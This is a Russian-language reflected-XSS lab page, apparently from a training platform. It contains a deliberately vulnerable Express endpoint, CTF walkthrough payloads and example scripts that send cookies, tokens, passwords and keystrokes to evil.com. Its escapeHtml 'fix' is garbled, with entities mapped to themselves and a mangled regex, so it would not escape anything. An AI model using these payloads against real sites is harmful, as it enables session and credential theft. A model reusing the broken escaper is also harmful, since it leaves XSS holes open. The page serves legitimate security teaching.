Уязвимый код
app.get('/api/xss/search', (req, res) => {
const { q } = req.query;
// ❌ Отражаем без экранирования
res.send(\`<p>Вы искали: <strong>\${q}</strong></p>\`);
});
Форма поиска отражает введённый текст без экранирования HTML. Классическая Reflected XSS через GET-параметр.
GET /api/xss/search?q= отражает параметр прямо в HTML.Reflected XSS (отражённая межсайтовая скриптовая атака) — это уязвимость, при которой пользовательский ввод отражается в HTTP-ответе без должной фильтрации или экранирования.
https://bank.com/search?q=<script>steal()</script>
💡 Payload внедрён прямо в URL
Получает по email, в соцсетях, или через SMS
🎣 Социальная инженерия: "Проверьте срочное уведомление!"
<p>Результаты поиска: <strong><script>steal()</script></strong></p>
❌ Сервер не экранировал специальные символы!
💣 Payload выполнился в контексте банка!
🍪 Атакующий получает cookies, токены, данные формы
// server.js
app.get('/search', (req, res) => {
const query = req.query.q; // Берём из URL
// ❌ ОПАСНО: вставляем прямо в HTML
res.send(\`
<html>
<body>
<h1>Поиск: \${query}</h1>
<p>Ничего не найдено</p>
</body>
</html>
\`);
});
Что происходит при атаке:
// URL: /search?q=<script>alert(document.cookie)</script>
// Ответ сервера:
<h1>Поиск: <script>alert(document.cookie)</script></h1>
↑ Браузер выполнит это как код!
// server.js
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, (m) => map[m]);
}
app.get('/search', (req, res) => {
const query = req.query.q;
// ✅ БЕЗОПАСНО: экранируем спецсимволы
const safeQuery = escapeHtml(query);
res.send(\`
<html>
<body>
<h1>Поиск: \${safeQuery}</h1>
<p>Ничего не найдено</p>
</body>
</html>
\`);
});
Результат экранирования:
// Payload: <script>alert(1)</script>
// После escapeHtml: <script>alert(1)</script>
// В HTML: <script>alert(1)</script> (отображается как текст!)
↑ Браузер НЕ выполнит — это просто текст
<script>
fetch('https://evil.com/steal?c=' +
document.cookie)
</script>
Атакующий получает ваши cookies → заходит под вашим аккаунтом
<script>
document.body.innerHTML = \`
<form action="https://evil.com">
<input name="password">
<button>Войти</button>
</form>
\`;
</script>
Пользователь видит "родную" форму, но пароль уходит атакующему
<script>
const token = localStorage.getItem('token');
fetch('https://evil.com/log?t=' + token);
</script>
JWT токены, API ключи — всё доступно через JavaScript
<script>
document.onkeypress = (e) => {
fetch('https://evil.com/k?key=' + e.key);
};
</script>
Запись всех нажатий клавиш (пароли, номера карт)
Всё, что приходит из GET/POST параметров, headers, cookies — потенциально опасно
< > & " ' должны превращаться в < > & " '
Node.js: validator.escape(), he.encode()
Template engines: EJS, Handlebars (auto-escaping по умолчанию)
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self'");
Блокирует inline скрипты, даже если XSS прошёл
// ❌ УЯЗВИМО: отражаем ввод без экранирования
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(\`<p>Вы искали: <strong>\${query}</strong></p>\`);
});
// ✅ БЕЗОПАСНО: экранируем HTML-сущности
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(\`<p>Вы искали: <strong>\${query}</strong></p>\`);
});
Эндпоинт /api/xss/search принимает параметр q и отражает его в HTML без экранирования. Твоя задача:
<b>) для проверки<script> или event handlercurl "https://rtlabs.su/api/xss/search?q=test"
💡 Текст "test" отражается в HTML без изменений.
curl "https://rtlabs.su/api/xss/search?q=%3Cb%3EXSS%3C/b%3E"
Или напрямую: ?q=<b>XSS</b> — текст станет жирным в браузере.
# Анализ через curl
curl "https://rtlabs.su/api/xss/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
# Выполнение в браузере (скопируйте URL):
https://rtlabs.su/api/xss/search?q=<script>alert(1)</script>
⚠️ Откройте URL в браузере — должен появиться alert с цифрой 1!
# Event handler через IMG
https://rtlabs.su/api/xss/search?q=<img src=x onerror=alert(1)>
# SVG onload
https://rtlabs.su/api/xss/search?q=<svg/onload=alert(1)>
# Body onload (закрывает предыдущий контекст)
https://rtlabs.su/api/xss/search?q=</strong><body onload=alert(1)>
💡 Разные векторы работают в разных контекстах HTML.
🏆 Когда payload выполнится, сервер вернёт строку формата FLAG{...}. Её и сдаём.
После успешного выполнения XSS (увидели alert в браузере) отправьте флаг для завершения лабораторной.
Твоя задача — увидеть разницу между уязвимым и исправленным обработчиком.
app.get('/api/xss/search', (req, res) => {
const { q } = req.query;
// ❌ Отражаем без экранирования
res.send(\`<p>Вы искали: <strong>\${q}</strong></p>\`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/api/xss/search', (req, res) => {
const { q } = req.query;
// ✅ Экранируем HTML-сущности
const safe = escapeHtml(q);
res.send(\`<p>Вы искали: <strong>\${safe}</strong></p>\`);
});
💡 Используйте готовые библиотеки: validator.escape(), he.encode() или template engines с auto-escaping (EJS, Handlebars).